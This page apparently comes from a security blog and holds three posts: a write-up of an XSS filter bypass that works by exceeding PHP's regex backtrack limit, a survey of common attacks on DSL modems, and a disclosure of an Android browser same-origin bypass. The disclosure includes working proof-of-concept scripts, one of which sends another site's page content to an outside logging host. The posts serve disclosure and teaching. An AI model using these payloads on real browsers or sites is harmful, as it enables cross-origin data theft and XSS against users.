KNOX D3

Bad Meets evil - PHP meets Regular Expressions

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;">twi<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM-b6UXOoDe9GmdhBnSVCscn3GknudyHaIzDOqul_oUwD5IX4fXVg6Bgcys2zoruU_HfNoeqwaqOrpeh5FOVyMKSG9KxQloF3co6tPtvM4W4xEczBFjTcTqDBCslINdEm0EY2RPN-EoTE/s1600/5836012758_17e9e3438a_b.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM-b6UXOoDe9GmdhBnSVCscn3GknudyHaIzDOqul_oUwD5IX4fXVg6Bgcys2zoruU_HfNoeqwaqOrpeh5FOVyMKSG9KxQloF3co6tPtvM4W4xEczBFjTcTqDBCslINdEm0EY2RPN-EoTE/s1600/5836012758_17e9e3438a_b.jpg" width="577" /></a></div><br />This article would briefly discuss the reason why Regular Expressions might not be suitable for filtersand how things could turn miserably bad when PHP comes is used with Regular Expressions. The post would then continue with the write-up of a relevant scenario based challenge, and finally will conclude with the author’s opinion on the topic.<br /><a name="more"></a><br /><h4 style="text-align: left;">Common pitfalls of Regular expressions</h4><div style="text-align: left;">RegEx (Regular expressions) are commonly used for pattern matching, searching and replacing purposes; which are handy for string manipulation in different supported back-end programming languages. In reality, there are ton of filters <b>[1] </b>which heavily rely upon RegEx to filter out malicious inputs.<br /><br />We have already witnessed <b>[2]</b> why RegEx might not be considered as a good idea. However, one might argue that it is the programmers' fault (or rather choice of options) - they do not consider all the possible test cases for an attack surface scenario. I simply couldn't disagree with this statement. In fact, the Microsoft's current XSS filter <b>[3]</b> is a good example of it. Following are some of the problems:<br /><br /><i><b>Problem#1:</b></i> Under the hood for the first problem, the filter currently employs a very long RegEx, to which surprisingly, has no public bypasses available. But one should not forget it actually evolves from the previous vulnerable versions, and one really must have the patience to write such a tedious RegEx. <br /><br /><i><b>Problem#2:</b></i> The second problem is that even with a functional RegEx, this entirely could lead to different vulnerabilities. Yes; I'm talking about ReDoS(Regular Expression Denial of Service), an attack which happens to be surfaced in bad constructed Regex wherein <a href="http://blog.czarsecurities.com/1077/9-5-job-is-too-old-school-for-a-hacker-meet-shritam-bhowmick/" target="_blank">attackers</a> could compromise the availability of the application with a specially crafted input. <br /><br />In a long run, with the programmer’s perspective, it might be a bit tedious for developers to handle both functionality and security at one hand. Therefore, we conclude that RegEx (Regular Expressions) should be considered evil when being heavily used in filters.</div><h4 style="text-align: left;">PHP + RegEx = ?</h4><div style="text-align: left;">PHP itself is not bad, however when combined with regex becomes bad. Regarding RegEx, Most of the used RegEx functions (i.e. preg_*) in PHP are based upon the <b>PCRE library</b>. The engine itself is not only deficient in terms of performance, but it also opens to have a potential gateway to REDOS vulnerabilities.<br /><br />As we can see from a REDOS issue in PHP's famous frame work Code Igniter <b>[4]</b>, a non-harmful RegEx (e.g. `/[a-z]+=/`) can cause a serious performance damange. More importantly, there is a fatal design flaw. In order to prevent resource exhaustion, PHP is so smart that it provides an option called <b>pcre.backtrack_limit. </b>What it does is to limit the number of backtracks (backtrack is a common cause of ReDoS). But what if the number of backtracks reaches the limit? Well, it just doesn't care. In other words, it is possible to evade specific protections when the conditions are met.</div><h4 style="text-align: left;">The write-up</h4><div style="text-align: left;"><br />In order to demonstrate how serious the problem could be, I had ended up creating a mini XSS puzzle of the kcal.pw series. Here is the sample code for this puzzle:</div><blockquote class="tr_bq">$xss = $_POST['xss'];<br />if (preg_match('/<(?:\w+)\W+?[\w]/', $xss)) {<br />echo '<p>I don\'t think so</p>';<br />} else {<br />echo $xss;<br />}</blockquote><div style="text-align: left;"><br />Let’s take a look at the following RegEx and what see it does: ```/<(?:\w+)\W+?[\w]/```<br /><br />It detects any presence of an open tag, followed by any potential attributes, separators and whatsoever. Although the RegEx looks specious, it is technically sufficient for preventing XSS in HTML context. If you look closely, you will find the RegEx utilizes non-greedy matching which requires backtracking. As mentioned before, PHP has a default backtrack limit (pcre.backtrack_limit, 100000). However, PHP favours "fail silently", which makes pcre_match simply returns false instead of throwing an exception when the input reaches the limit. As a result, submitting a long enough payload will bypass the filter.<br /><br />Let’s try using the preg_match function to test the regular expression with a large number of A’s:</div><blockquote class="tr_bq">var_dump(preg_match('/<(?:\w+)\W+?[\w]/', '<a/'.str_repeat('\\', 1000000).'/a'))</blockquote><div style="text-align: left;"><br />The proof of concept is simple. It simulates the input being matched with the vulnerable RegEx (A being repeated 1000000 times). And it does return false.<br /><br /><h4>Proof Of Concept</h4></div>The following is a complete proof of concept that would generate alert(1) on the challenge domain:<br /><blockquote><div dir="ltr" style="text-align: left;" trbidi="on"><form action="http://s30003-101809-vkp.tarentum.hack.me/index.php" method="post"><br />    <textarea style="display: none" name="xss"></textarea><br />  </form><br /><script><br />document.forms[0].xss.value = '<script' + Array(999999).join('/') + '>alert(1)<\/script>';<br />document.forms[0].submit();<br /></script></div></blockquote><h4 style="text-align: left;">Conclusion</h4><div style="text-align: left;"><br />The suggestion for the defense is to use RegEx only if absolute necessary. More importantly, avoid writing bad RegEx. Although there are some tools which claim to analyze potential ReDoS problem, the best practice is to again to substantially limit the use of RegEx. Finally, this is a take-away (which is also my “right” rule thumb principle): <br /><br /> If a filter relies too heavily on a Regex, then it might probably fail its job in terms of security!<br /><br /><h4>About The Author</h4><br />This article has been written by "<b>File Descriptor</b>", he prefers to be called as an "XSS Jigsaw" instead of his real name, which he prefers to keep secret. FD has decided to dedicate his life towards creating and solving XSS challenges and that is what in my opinion a hacker really is, a problem solving expert. You can follow him at <a href="http://twitter.com/filedescriptor" rel="nofollow" target="_blank">@filedescriptor</a><br /><b><br /></b><b>References</b><br /><b><br /></b>1. http://www.thespanner.co.uk/2014/10/24/unbreakable-filter/<br />2.  http://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags<br />3. http://www.cloudscan.me/2011/09/mshtmldll-ie-xss-filter-evasion.html<br />4. https://github.com/bcit-ci/CodeIgniter/issues/3123</div></div>

Bad Meets evil - PHP meets Regular Expressions

twi This article would briefly discuss the reason why Regular Expressions might not be suitable for filtersand how things could turn miserab...

+ Read more »

Common Attacks Against Modems

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCrMdR392U-jC42ef_KvURuC7t8A_y8y9E8VfL-BYHOt7it0-xAmkLxv9DmQ1Ik73yNJR0yChQKRHn3LCtu2tbzZayHhclP06bcxWXhzCDjlUGcm_Bg04St8jktTYXZpddyt6LMqtst-8/s1600/T-DSL_Modem.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="313" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCrMdR392U-jC42ef_KvURuC7t8A_y8y9E8VfL-BYHOt7it0-xAmkLxv9DmQ1Ik73yNJR0yChQKRHn3LCtu2tbzZayHhclP06bcxWXhzCDjlUGcm_Bg04St8jktTYXZpddyt6LMqtst-8/s1600/T-DSL_Modem.jpg" width="320" /></a></div><h2 style="text-align: left;"><span id="goog_3749436"></span><span id="goog_3749437"></span></h2><h2 style="text-align: left;">0x01: Introduction to Modems</h2><div style="text-align: left;">The term DSL modem is technically used to describe "a modem which connects to a single computer, through a USB port or is installed in a computer PCI slot". The more common DSL router which combines the function of a DSL modem and a home router is a standalone device which could be connected to multiple computers through multiple Ethernet ports or an integral wireless access point. Also called as a "residential gateway", a DSL router usually manages the connection and sharing of the DSL service in a home or small office network.<br /><br /><a name="more"></a><br />Most consumer DSL lines use one of several variations and varieties of Asymmetric DSL (ADSL). The "asymmetric" DSL here means that more of the bandwidth of the line is dedicated to downstream (download) data than upstream (upload) data. Hence, download rates are faster than upload rates since most users download much larger quantities of data than they actually upload. Because the telephone lines were never designed to carry such high frequency signals, DSL is distance-sensitive. The farther away from the switching center the modem is, the longer the telephone wires, the weaker the signal, and the lower the data rate that the modem can achieve. Users in metropolitan areas, close to switching centers, may have access to higher rate service, up to 8 Mbit/s than the expected rate for the same service in remote areas.<br /><u><br /></u><u>Reference: en.wikipedia.org/wiki/DSL_modem</u></div><div style="text-align: left;"><u><br /></u></div><h4 style="text-align: left;">0x02: Market Share</h4><div style="text-align: left;">The modem manufacturers mostly are mostly chinese based . Research shows that companies like ZTE & Huawei are doing very well and have gained enterprise router share in china over the past year. In China ZTE is placed third player in 2013 and 2014 with dizzying rise this year than the popular consortium Cisco. (Which happens to be more secure). This is also due to the fact that cisco's products are very costly and difficult for the home users to afford. </div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGk64u-mlvH-axt5fvNEm0e5LrVd0cg7Sfm078WlNdPasW4DjGn7jgQ9pxEmQt0qhkxsEbL46FheOVDDZ250ictQCthX-5HqMIvqApenYu6kG1lNIEXZAwGgE1mjJd8EHzHWQokZWotFxl/s1600/huwair.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGk64u-mlvH-axt5fvNEm0e5LrVd0cg7Sfm078WlNdPasW4DjGn7jgQ9pxEmQt0qhkxsEbL46FheOVDDZ250ictQCthX-5HqMIvqApenYu6kG1lNIEXZAwGgE1mjJd8EHzHWQokZWotFxl/s1600/huwair.jpg" /> </a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"> </div><div class="MsoNormal"><br /></div><h4 class="MsoNormal" style="text-align: left;">0x03: Backups& Backdoors</h4><div class="MsoNormal" style="text-align: left;">All modems include  Backup files mainly because of the need to recover the modem to the original state after a reset. However, knowing the direct link to the backup file puts the modem directly in danger. All an attacker has to do is request the backup file and view it; mostly this is juicy plain info that contains passwords, ISP configurations.<br /><br />Knowing this however, some vendors try to encrypt the contents that are inside these files. So downloading this would be useless for the attacker. But this isn’t entirely impossible as lots of vendors tend to use weak encryption mechanisms to encrypt backup file. And research done by white hats such as Osanda Malith shows that. He for example provided a PoC tool used to decrypt these rom-0 (Backup) files from most modems, including ZTE and TP-Link.</div><div class="MsoNormal" style="text-align: left;"><br />Most of the chinese Vendors such as ZTE are banned from the US, one because they being incredibly insecure and two because, they put malicious backdoors to snoop and eavesdrop on individuals and organizations.<br /><br />Lots of trusted companies such as TP-Link, Huawei and other chinese companies have a record of placing backdoors in their products. These backdoors are normally in form of open ports which on connecting would provide a reverse shell. The ports are often found to be high in number to make it harder to detect.<br /><br />One of such examples can be found <a href="http://sekurak.pl/more-information-about-tp-link-backdoor/" rel="nofollow" target="_blank">here</a>. This lets them capture sensitive files and sometimes sell it for residing countries. This strategy is great one for governments to spy on their citizens as well as for great as a part of a cyber attack against a particular country. So for example: A country could sell cheap  backdoored modems to a target country, and in case the modems end up being used on military and sensitive systems, then they have hit a jackpot. </div><h4 class="MsoNormal" style="text-align: left;">0x04: Default Configuration details and Hardcoded Credentials</h4><div style="text-align: left;">Apparently, all if not most modems come with very easy to guess password configurations. Infact, most of them are identical like: username:admin and password: admin. Most people do not change the configuration details and most ISP’s leave this as default.<br /><br />This amazingly is a good news for malicious users. Because all they have to do is know the vendor and they can get their hands on it easily using sites such as http://www.routerpasswords.com/ to extract information.</div><div style="text-align: left;"></div><h4 style="text-align: left;">0x05: XSRF and XSS</h4><div style="text-align: left;"></div><div style="text-align: left;"> </div><div class="MsoNormal">These two are two of the most common flaws in the history of web security. Mmost ZTE modems do not use anti-XSRF tokens (Used to prevent CSRF Attacks) on any sensitive request.<br /><br /></div><div class="MsoNormal">XSS is even more worsed because if one found an XSS flaw in any modem (which is likely), he can send that link to a logged in administrator and perform any action in behalf of the admin, this could be done by stealing the XSRF-Token. Also, an XSS could also allow session hijacking and other browser attacks.</div><div class="MsoNormal"><br /></div><div class="MsoNormal">XSRF flaws are more commonly found in modems as opposed to xss due to the fact that modems use <a href="http://pwntoken.wordpress.com/2014/12/07/required-http-security-inspection-on-application-security/" target="_blank">HTTP</a> authentications most of the time. So Headers are mainly used in communications protocols to communicate with one another. This makes it harder for the modem to detect and create anti-csrf tokens other than to compare it. <br /><br /></div><div class="MsoNormal">Because of these or just because of careless developing it is sometimes possible in to tricking admins changing passwords, issuing commands or easing access. </div><div class="MsoNormal"><br /></div><h4 class="MsoNormal" style="text-align: left;">0x06: Social Engineering</h4><div class="MsoNormal" style="text-align: left;">What would you say if a blocked number called you and told you that she is from your ISP and she needs your credentials in order to add/maintain the new and revised 3G technology into your modem. Or even she asks you to maintain security flaws in your modem? You surly never expect this to be a troll. I mean, why would you? And then next thing you know, she snooped your configuration password. Knowing this password could mean (since lots of people use same passwords) that she got access to email password, financial account, etc. </div><div class="MsoNormal" style="text-align: left;"><br /></div><h4 class="MsoNormal" style="text-align: left;">0x07: Exploit Databases</h4><div class="MsoNormal" style="text-align: left;">Many Exploit databases hold juicy info about modems. Including default configurations, XSRF/XSS/LFI flaws, logical issues, backdoors. So all you need to do is to find the modem version and give a search on exploit databases such as exploit-db.com, 1337day.com etc<br /><br />So say, in case you found an exploit against a previous version of a modem, however not for the exact version. This necessary doesn't mean yours isn’t vulnerable to the particular exploit you found. Infact most vendors use same architecture to construct the web architecture of their modems. So one XSS on one model could mean XSS on all other vendor modems.</div><h4 class="MsoNormal" style="text-align: left;">0x08: Eavesdropping</h4><div class="MsoNormal" style="text-align: left;">The lack of SSL usually means bad luck for modems. Especially if it’s for office/public usage because the admin is always in risk of accessing any file from the modem. The reason being, that it is very easy to sniff ongoing traffic with with tools like Wireshark.<br /><br />The fact that modems use login protocols like HTTP authentication puts them in more danger because when requesting any file, the modem should request the authentication header and the admin responds in (mostly Base64 form), and an attack easily can sniff this and decode the communication easily it.<br /><br />Even when using SSL (note very few modems use it), it can still be insecure and even pose more risk. Recently, A lot of attacks have been identified against SSL protocols Heartbleed, POODLE to name a few. </div><h4 class="MsoNormal" style="text-align: left;">0x09: Denial Of Service</h4><div class="MsoNormal" style="text-align: left;">Denial of Service is one of the most annoying things I can think of next to a Log out CSRF. People with bad intentions can use this type of attack to knock a modem out of delivering internet and sometimes even let the modem reset itself. <br /><br />This is really crazy for people trying to do their job. The fact this attack can easily be turned an untraceable attack can make your business day a big pain just because you choose to use a vulnerable modem.<br /><br />Most modems by design don’t hold more HDD than 25MB and less than 2MB ram with no DOS protections. This usually means they can handle limited amount of data with huge amount of time. All an attacker has to do is send more requests than the modem can handle and hence exhausting it's memory and resulting in a DOS.<br /><b><br /></b><b>0x10: Lack Of Updates</b><br /><br />Modem users seldom receive updates for modems in case a critical vulnerabilities have been identified in the wild, and a lot of them don't really have a mechanism for providing OTA (Over the Air) updates. A lot of times, users manually have to upgrade the firmware and ofcourse which is not possible for people having lack or no technical knowledge. </div><h4 class="MsoNormal" style="text-align: left;">0xA: Suggestions</h4><ol style="text-align: left;"><li>If you are an admin/user of a modem, Try not to stay logged in to make attacks like XSRF,XSS and ClickJacking less effective. .</li><li>Try doing a little research about the modem model you are trying to buy. Google exploits for it, try to search if it uses secure connection (TLS), if it is vulnerable, why should you. Look for another.</li><li>Try disabling remote access to decrease the attacker’s possibility of gaining access over the internet; since most of the modem exploits require LAN access, it’s a good thing to disable Telnet, web and even ftp access to modem remotely.</li><li>Limit Physical Access. Because, most modems have a physical hard reset key/button, it should be noted most of them should remain in a secured environment where only authorized people can reach.</li></ol><h4 style="text-align: left;">About the Author:</h4><div id="stcpDiv" style="left: -1988px; position: absolute; top: -1999px;">This  following article is a guest post by Paulos Yibelo. Yibelo is the  newest member of RHA family. He is a full time PHP coder and most of his  research is involved with application security. In his free time he  loves writing articles related to application security  http://paulosyibelo.blogspot.com/. - See more at:  http://www.rafayhackingarticles.net/2014/09/indepth-code-execution-in-php-part-two.html#sthash.b5OotKP6.dpuf</div><div style="text-align: left;">This following article is a guest post by Paulos Yibelo. Yibelo is the newest member of RHA family. He is a full time PHP coder and most of his research is involved with application security. In his free time he loves writing articles related to application security <a href="http://paulosyibelo.blogspot.com/" rel="nofollow" target="_blank">http://paulosyibelo.blogspot.com/</a></div><div style="text-align: left;"></div></div>

Common Attacks Against Modems

0x01: Introduction to Modems The term DSL modem is technically used to describe "a modem which connects to a single computer, through a...

+ Read more »

A Tale Of Another SOP Bypass In Android Browser < 4.4

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUcYKGYlOma04C1BZBUtj-SVqSR6VyN6x_WsVD17WzSLPXolu9kXmGbDBUxEbjjiZLMfsmjqe72O9S5FQ6oooITeCJO9rwp__FWWo3um31mIy7dQ-qVdWEIwfJdROFWAnM8vcPkdRpBeg/s1600/Pirate.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUcYKGYlOma04C1BZBUtj-SVqSR6VyN6x_WsVD17WzSLPXolu9kXmGbDBUxEbjjiZLMfsmjqe72O9S5FQ6oooITeCJO9rwp__FWWo3um31mIy7dQ-qVdWEIwfJdROFWAnM8vcPkdRpBeg/s1600/Pirate.jpg" /></a></div><div dir="ltr" style="text-align: left;" trbidi="on"><br />Since, my recent <a href="http://www.rafayhackingarticles.net/2014/08/android-browser-same-origin-policy.html" rel="nofollow" target="_blank">android SOP bypass [CVE-2014-6041]</a> triggered a lot of eruption among the infosec community, I was motivated to research a bit more upon the android browser, it turns out that things are much worse than I thought, I managed to trigger quite a few interesting vulnerabilities inside of Android browser, one of them being another Same Origin Policy Bypass vulnerability. The thing that makes it worse was the same SOP bypass was already <a href="http://trac.webkit.org/changeset/96826" rel="nofollow" target="_blank">fixed</a> inside of chrome years ago, however the patches were not applied to Android browser < 4.4.<br /><a name="more"></a><br /><h4>Proof Of Concept</h4>The following is the proof of concept:<br /><br /><script><br />window.onload = function()<br />{<br />    object = document.createElement("object"); <br />    object.setAttribute("data", "http://www.bing.com");<br />    document.body.appendChild(object);<br />    object.onload = function() {<br />      object.setAttribute("data", "javascript:alert(document.domain)");<br />        object.innerHTML = "foobar";<br />    }<br />}<br /><div></script></div><div><br /></div><div><br />The POC is very easy to understand for individuals having some javaScript background. However, for others let me break it down for you. The above code creates an object with data attribute, which loads up a URL from another origin in this case "<b>http://www.bing.com</b>", however once it's loaded, we replace bing.com with "javascript:alert(document.domain)". The interesting thing here is that the last line is essential for the POC to work <b>object.innerHTML = "foobar"; </b>so that the navigation request is performed<br /><br />Let's take a look at the vulnerable code that is responsible for the causing the issue:<br /><h4>Vulnerable Code</h4>bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url)<br />{<br />    ASSERT(document());<br />    ASSERT(document()->frame());<br />    if (document()->frame()->page()->frameCount() >= Page::maxNumberOfFrames)<br />        return false;<br />    <b><u><span style="color: red;">KURL completeURL = document()->completeURL(url);</span></u></b><br /><br /><br />The above function is responsible for loading up the frame URL, if you take a close look at the code, you would find out that there is no validation for javascript scheme, which allows us to execute javaScript in context of the frame that was loaded.<br /><h4>The fix</h4>The issue was <a href="https://android.googlesource.com/platform/external/webkit/+/109d59bf6fe4abfd001fc60ddd403f1046b117ef%5E%21/#F0" rel="nofollow" target="_blank">fixed </a>by applying the following checks from <b>securityorigin.h</b> library. <br /><br />  if (contentFrame() &&<span style="color: red;"> protocolIsJavaScript(completeURL)</span><br />       && !document()->securityOrigin()->canAccess(contentDocument()->securityOrigin()))<br />       return false;<br /><h4>Proof Of Concept Using Postmessage Call</h4>To help understand the vulnerability better and get to the root cause, i contacted Joe Vennix from metasploit team, who modified my original POC to the following to help demonstrate the vulnerability in an effective manner. The following POC uses postMessage call from HTML 5 world to send the document.cookie and innerHTML to the main window.<br /><br /><script><br />window.onload = function()<br />{<br />    object = document.createElement("object");<br />    object.setAttribute("data", "http://www.bing.com");<br />    document.body.appendChild(object);<br />    object.onload = function() {<br />        object.data = "javascript:var t=top;with(document)t.postMessage('HTML='+body.innerHTML+'&COOKIE='+cookie,'*');";<br />        object.innerHTML = "foobar";<br />    }<br />}<br /><br />window.onmessage = function(m){<br />  alert(m.data);<br />}<br /></script><br /><br /><h4>Proof Of Concept To Steal Data Across Domains</h4>A great friend of mine @filedescriptor helped me with the following POC, which steals data from bing.com by accessing the document.body.innerHTML property as submits that data cross origin by using a POST request, since you can send limited amount of data with GET due to browser restrictions.<br /><br /><script><br />window.onload = function()<br />{<br />object = document.createElement("object");<br />object.setAttribute("data", "http://www.bing.com");<br />document.body.appendChild(object);<br />object.onload = function() {<br />object.data = "javascript:with(document)body.innerHTML+='<form method=post action=//kcal.pw/record.php?name=__target=_><input name=content></form><iframe name=_>',__.content.value=body.innerHTML,__.submit()";<br />object.innerHTML = "foobar";<br />}<br />}</div><div><br />The PHP file hosted at record.php contains the following line, which saves the data coming from bing.com to a file called record.txt.<br /><b><br /></b><b>file_put_contents('record.txt', $_POST['content']);</b><br /><br />The following are some of the handsets that we used to test and verify this vulnerability.<br /><h4>Sony Xperia</h4><b><br /></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnaBm9l118beLDbu4Tj7FfiBxPN2jiinVbUkBDiQgP_n_oIEIFi-bgEBL-p1Tu6xqesGxY9vGT9cSAFeOSx8MypADxBk6dsJxlJxj0qjOf7y1JEaNheSH-t61cV3rp2WHW53VHhClIRfs/s1600/SONY.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnaBm9l118beLDbu4Tj7FfiBxPN2jiinVbUkBDiQgP_n_oIEIFi-bgEBL-p1Tu6xqesGxY9vGT9cSAFeOSx8MypADxBk6dsJxlJxj0qjOf7y1JEaNheSH-t61cV3rp2WHW53VHhClIRfs/s1600/SONY.png" width="364" /></a></div><h4>LGNexus4</h4><br /><b><br /></b><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc6wb-S9dxp36s96uLbLvSpGjQlOsHsG3JG-ncxperPU9lBV0ujUFnU4UH1KghjAPxVaojN_rKHPzUwJE6fHFdZsHcRnMwZiOV6HMu3X0J8p6wM27Gdjpu5VIzbj9vKXXQlJtbiZk4yxY/s1600/LGNEXUS.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc6wb-S9dxp36s96uLbLvSpGjQlOsHsG3JG-ncxperPU9lBV0ujUFnU4UH1KghjAPxVaojN_rKHPzUwJE6fHFdZsHcRnMwZiOV6HMu3X0J8p6wM27Gdjpu5VIzbj9vKXXQlJtbiZk4yxY/s1600/LGNEXUS.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"></div><h4>Samsung Galaxy S3</h4><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDjhf9VNXEHCza6z72HOUoifEaftel85lnYrdGQVwR2JnPThdrC67jrdW5fOMrtpJc03osf0BNq7cZDMCam68Lq0dJBHXGGl4mUnrVrbkkOG2GfasIN7usPNVcapFEKaahSuifO9YbquU/s1600/samsung+galaxy+s3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDjhf9VNXEHCza6z72HOUoifEaftel85lnYrdGQVwR2JnPThdrC67jrdW5fOMrtpJc03osf0BNq7cZDMCam68Lq0dJBHXGGl4mUnrVrbkkOG2GfasIN7usPNVcapFEKaahSuifO9YbquU/s1600/samsung+galaxy+s3.png" width="322" /></a></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"></div><h4>Safari Browser 5.0</h4><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2I-1IyGVOYerr4IS6uRwLRFAPhSRNFvQM95a3DuSWgdRD4KLMwI7Qa4lhaJfPqhT1ygpwU3xjyN9crOAQLlnuLzR-3e4ZanvXPW5-81-ccW9vVWRcyayYFG5_1-VW80nveE633Y7lEOI/s1600/safari+5.0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2I-1IyGVOYerr4IS6uRwLRFAPhSRNFvQM95a3DuSWgdRD4KLMwI7Qa4lhaJfPqhT1ygpwU3xjyN9crOAQLlnuLzR-3e4ZanvXPW5-81-ccW9vVWRcyayYFG5_1-VW80nveE633Y7lEOI/s1600/safari+5.0.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><h4>Google's Response</h4>The vulnerability was responsibly disclosed to Google on 9/25/2014, The vulnerability was fixed on 10/1/2014 and the patches have been released <a href="https://android.googlesource.com/platform/external/webkit/+/109d59bf6fe4abfd001fc60ddd403f1046b117ef" rel="nofollow" target="_blank">here</a>.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBC7rknn28IrSjKzlmK4C2-gEEdRF_wnWZUYbCbLRXaSPemZQb6l3cxbUSgW9Xn56EK-1crnHIEyLC97qo4qeSp1d5NBN0OzLqLVKuXzUNNvvoI35U0-ivktGfE1j0Hqj_oNYnZIFm_XU/s1600/jb.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="137" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBC7rknn28IrSjKzlmK4C2-gEEdRF_wnWZUYbCbLRXaSPemZQb6l3cxbUSgW9Xn56EK-1crnHIEyLC97qo4qeSp1d5NBN0OzLqLVKuXzUNNvvoI35U0-ivktGfE1j0Hqj_oNYnZIFm_XU/s1600/jb.png" width="577" /></a></div></div></div><h4>In Closing</h4><div>There are tons of other browsers with huge userbase that are vulnerable to same vulnerability, Maxthon, CM Browser, Safari Browser 5.0 to name a few. In case if you are still using Android browser or any of other browser, you should immediately apply patches or switch to Chrome or firefox. I believe there are several other vulnerabilities that were addresses in chrome webkit and still have not been addressed inside of Android browser, therefore it is recommended to avoid it completely.<br /><br /><b><br /></b><b>Press Coverage</b><br /><br />http://news.yahoo.com/half-android-phones-still-vulnerable-massive-privacy-bug-135551464.html<br /><br />http://www.redmondpie.com/massive-privacy-bug-affects-many-android-devices-heres-how-to-protect-yourself/<br /><br />http://threatpost.com/second-same-origin-policy-bypass-flaw-haunts-android-browser<br /><br />http://www.securityweek.com/google-patches-second-same-origin-policy-bypass-flaw-android-browser<br /><br />http://www.pcworld.com/article/2823012/almost-half-of-android-devices-still-have-a-vulnerable-browser-installed.html<br /><br />http://www.csoonline.com/article/2690910/application-security/android-browser-flaw-found-to-leak-data.html<br /><br />http://tribune.com.pk/story/771546/on-a-roll-another-bug-exposed-by-pakistani-researcher/<br /><br />https://blog.lookout.com/blog/2014/10/06/aosp-browser-vuln/<br /><br />http://www.net-security.org/secworld.php?id=17459<br /><br />http://www.zdnet.com/half-of-all-android-devices-still-vulnerable-to-privacy-disaster-browser-bug-7000034500/<br /><br />http://www.cio.com.au/article/556967/almost-half-android-devices-still-vulnerable-browser-installed/?fp=16&fpid=1<br /><br />http://www.computerworld.com/article/2822813/45-of-android-devices-still-have-a-vulnerable-browser-installed.html#tk.rss_all<br /><br />http://tribune.com.pk/story/776018/bugged-half-of-android-users-vulnerable-to-privacy-disaster/<br /><br />http://checkmarx.com/2014/10/21/pakistani-ethical-hacker/</div></div>

A Tale Of Another SOP Bypass In Android Browser < 4.4

Since, my recent android SOP bypass [CVE-2014-6041] triggered a lot of eruption among the infosec community, I was motivated to research a ...

+ Read more »